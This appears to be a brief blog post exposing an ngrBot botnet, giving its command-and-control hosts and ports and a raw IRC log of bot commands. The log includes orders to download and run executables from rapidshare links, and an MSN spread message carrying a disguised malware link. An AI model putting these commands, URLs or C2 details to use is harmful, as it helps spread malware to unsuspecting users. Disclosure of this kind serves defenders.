ngr.ipwhois.co.uk(botnet hosted in Russian Federation Net For 7web)

Remote Host Port Number
195.122.131.5 80
74.206.242.164 80
46.161.29.202 47221
Resolved : [ngr.ipwhois.co.uk] To [46.161.29.202]

NICK [N00_USA_XP_1256108]x
JOIN #exp1
MODE [N00_USA_XP_1256108]x
A -ix
PRIVMSG [N00_USA_XP_1256
@ :update; Bad URL or DNS Error, error:
USER SP2-977 * 0 :COMPUTERNAME

PRIVMSG #ngr :[d=”http://rapidshare.com/files/452991947/fs.exe”] Error downloading file [e=”12039″]
NICK n{US|XPa}obeujfp
USER obeujfp 0 0 :obeujfp
JOIN #ngr ngrBot
PRIVMSG #ngr :[MSN]: Updated MSN spread interval to “7”
PRIVMSG #ngr :[MSN]: Updated MSN spread message to “http://rapidshare.com/files/452986850/IMG6437-Japan2011.JPG-www.news.com”

Now talking in #exp1
Topic On: [ #exp1 ] [ .asc -S -s|.world222 -S|.world222 http://rapidshare.com/files/452510172/ngr.exe 1 ]
Topic By: [ xxx ]

infos about hosting:
http://whois.domaintools.com/46.161.29.202

Categories: Uncategorized